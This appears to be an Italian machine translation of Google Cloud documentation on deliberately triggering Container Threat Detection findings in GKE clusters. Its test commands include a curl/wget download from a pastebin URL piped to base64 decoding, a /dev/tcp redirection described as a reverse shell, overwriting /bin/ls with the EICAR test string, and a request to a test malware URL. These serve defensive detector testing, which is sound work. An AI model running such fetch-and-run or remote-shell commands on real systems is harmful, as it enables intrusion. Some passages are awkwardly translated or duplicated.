Verifica di Container Threat Detection

Questa pagina spiega come verificare che Container Threat Detection funzioni intenzionalmente attivare rilevatori e verificare i risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare Container Threat Detection risultati, deve essere abilitato nelle impostazioni dei servizi di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai container, devi assicurarti che i cluster si trovano su una versione supportata di Google Kubernetes Engine (GKE). Per Per ulteriori informazioni, consulta la sezione sull'utilizzo di una versione GKE supportata.

Imposta le variabili di ambiente

Per testare i rilevatori, usa la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione tramite comandi SQL. Le seguenti variabili vengono utilizzate per testare tutti i servizi di Container Threat Detection rilevatori.

  1. Vai alla console Google Cloud.

    Vai alla console Google Cloud

  2. Seleziona il progetto che contiene il container che vuoi utilizzare per il test.

  3. Fai clic su Attiva Cloud Shell.

  4. In Cloud Shell, imposta le variabili di ambiente.

    1. La zona in cui si trova il cluster:

      export ZONE=CLUSTER_ZONE
      
    2. Il progetto in cui si trova il container:

      export PROJECT=PROJECT_ID
      
    3. Il nome del tuo cluster:

      export CLUSTER_NAME=CLUSTER_NAME
      

Le variabili sono impostate. Le seguenti sezioni includono istruzioni per i test Rilevatori di Container Threat Detection.

Programma binario aggiuntivo eseguito

Per attivare un risultato Binary Esecuzione aggiunto, trascina un file binario nel container e eseguirlo. In questo esempio viene eseguito il deployment dell'ultima immagine Ubuntu 18.04, copia /bin/ls in un'altra posizione e poi la esegue. L'esecuzione del programma binario è imprevista perché la copia del file binario non faceva parte dell'immagine container originale, se l'immagine è su Ubuntu 18.04 e i container devono essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Rilascia un programma binario ed eseguilo:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Questa procedura di test dovrebbe creare un risultato Binary Eseguito aggiunto che puoi in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi la versione Premium o Enterprise livello di Security Command Center.

Per ridurre il rumore, quando crei un container, Container Threat Detection filtra temporaneamente i risultati binari aggiunti aggiunti. Per visualizzare tutti i file binari aggiunti Risultati eseguiti durante la configurazione di un container, prefisso al nome del container o il nome del pod con ktd-test, come nell'esempio.

Libreria aggiuntiva caricata

Per attivare un risultato con Libreria aggiunta caricata, trascina una libreria nel contenitore e e poi caricarlo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 18.04, copia /lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e poi lo carica utilizzando ld. La libreria caricata non è prevista perché la copia della libreria non è stata parte dell'immagine container originale, anche se si trova su Ubuntu 18.04, e i container sono pensati per essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Rilascia una raccolta e utilizza ld per caricarla:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Questa procedura di test dovrebbe creare un risultato con caricamento della libreria aggiunta che puoi in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi la versione Premium o Enterprise di Security Command Center a livello di organizzazione.

Per ridurre il rumore, quando crei un container, Container Threat Detection filtra temporaneamente i risultati aggiunti nella libreria caricata. Per visualizzare tutte le raccolte aggiunte Risultati caricati durante la configurazione di un container, aggiungi il prefisso al nome del container o il nome del pod con ktd-test, come nell'esempio.

Esecuzione: esecuzione di elementi binari dannosi aggiunta

Per attivare un'esecuzione: aggiunto risultato binario dannoso eseguito, rilascia un binario dannoso nel tuo container ed eseguirlo. Questo esempio esegue il deployment Ubuntu 18.04, crea un file dannoso simulato e lo esegue. L'esecuzione del programma binario è inaspettato perché il file binario dannoso simulato non faceva parte del container originale, mentre il file binario è un EICAR di test, un file classificato come dannoso dalla threat intelligence.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Elimina il file binario EICAR ed eseguilo:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

Questa procedura di test dovrebbe creare un'esecuzione: esecuzione di un file binario dannoso aggiunto che è possibile visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. Visualizzazione i risultati in Cloud Logging sono disponibili solo se attivi al livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un container, Container Threat Detection filtra temporaneamente Esecuzione: aggiunti risultati binari dannosi eseguiti. Per vedere tutti i tipi di esecuzione: aggiunti risultati binari dannosi eseguiti mentre un container in fase di configurazione, anteponi ktd-test al nome del container o del pod, come esempio.

Esecuzione: esecuzione di un file binario dannoso modificato

Per attivare un risultato di esecuzione: esecuzione di un file binario dannoso modificato, modifica un binario dannoso nel tuo container ed eseguirlo. Questo esempio esegue il deployment Ubuntu 18.04 più recente, modifica /bin/ls in un file dannoso simulato, quindi lo esegue. L'esecuzione del programma binario è imprevista perché /bin/ls viene modificato durante il runtime del container un file binario dannoso simulato, che è un EICAR di test, un file classificato come dannoso dalla threat intelligence.

un EICAR il file dannoso e quindi lo esegue. L'esecuzione del programma binario è imprevisto perché l'elemento /bin/ls creato viene modificato durante il runtime del container un EICAR che testa un file binario dannoso, mentre il file binario EICAR è un file dannoso noto in base alle informazioni sulle minacce.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Elimina il file binario EICAR ed eseguilo:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Questa procedura di test dovrebbe creare un risultato di Esecuzione: esecuzione: binario dannoso modificato eseguito che puoi in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi la versione Premium o Enterprise livello di Security Command Center.

Per ridurre il rumore, quando crei un container, Container Threat Detection filtra temporaneamente l'esecuzione: risultati binari dannosi modificati eseguiti. Per vedere tutti i risultati di esecuzione: risultati binari modificati ed eseguiti mentre un container in fase di configurazione, anteponi ktd-test al nome del container o del pod, come esempio.

Script dannoso eseguito

Per attivare un risultato Eseguito script dannosi, puoi eseguire lo script nella seguente procedura nel tuo container.

La procedura esegue il deployment dell'ultima immagine Ubuntu 18.04, copia uno script sembra dannoso e lo esegue. Per attivare un rilevamento, lo script deve apparire dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Esegui lo script seguente in un nuovo container.

    Questo script shell bash incorporato ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il programma binario dannoso, pertanto l'esecuzione dello script non causi attività dannose nel container. Il file binario all'URL a cui viene fatto riferimento potrebbe essere stato rimosso e tentando di per seguire l'URL, comporterà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un programma binario utilizzando un lo script incorporato è l'elemento che attiva il rilevamento.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Questa procedura di test crea un risultato di script dannosi eseguito che possono essere visualizzati in Security Command Center e Cloud Logging, se hai configurato logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi Premium o Enterprise livello di Security Command Center.

URL dannoso osservato

Per attivare un risultato "osservato URL dannoso", esegui un programma binario e fornisci un URL dannoso come argomento.

Nell'esempio seguente viene eseguito il deployment di Ubuntu 18.04 dell'immagine ed esegue /bin/curl per accedere a un URL di malware di esempio dal Navigazione sicura completamente gestito di Google Cloud.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Esegui curl e fornisci un URL dannoso come argomento:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

Questa procedura di test attiva un risultato "URL dannoso osservato" che che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. Visualizzazione i risultati in Cloud Logging sono disponibili solo se attivi Livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell inversa

Per attivare un risultato della shell inversa, avvia un programma binario con il reindirizzamento stdin a un socket connesso TCP. Questo esempio avvia /bin/echo con il reindirizzamento alla DNS pubblico di Google 8.8.8.8 sulla porta DNS. Non viene stampato nulla quando esegui questo esempio. A Impedire l'inserimento di codice esterno tramite un attacco man in the middle (MITM), in questo esempio non utilizza /bin/bash binary.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Avvia un programma binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
    

Questa procedura di test crea un risultato della shell inversa che puoi visualizzare Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi Livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell figlio imprevista

Per testare il rilevatore Unexpected Child Shell, puoi creare un albero dei processi che includa un processo shell figlio.

L'esempio seguente crea un albero dei processi consul->dash, che può essere rilevato dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo file binari integrati. In questo esempio si verifica quanto segue:

  1. Crea una copia del processo bash e la assegna consul.
  2. Copia il processo echo e lo nomina dash.
  3. Richiama il processo dash copiato nel processo consul copiato.

Per attivare un risultato Unexpected Child Shell, segui questi passaggi:

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Usa il processo consul fittizio per richiamare una shell fittizia:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \
    /tmp/consul -c "/tmp/bash child ran successfully & wait"'
    

Questa procedura di test crea un risultato Unexpected Child Shell che puoi in Security Command Center. Se Logging è configurato per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare anche in Cloud Logging.

Passaggi successivi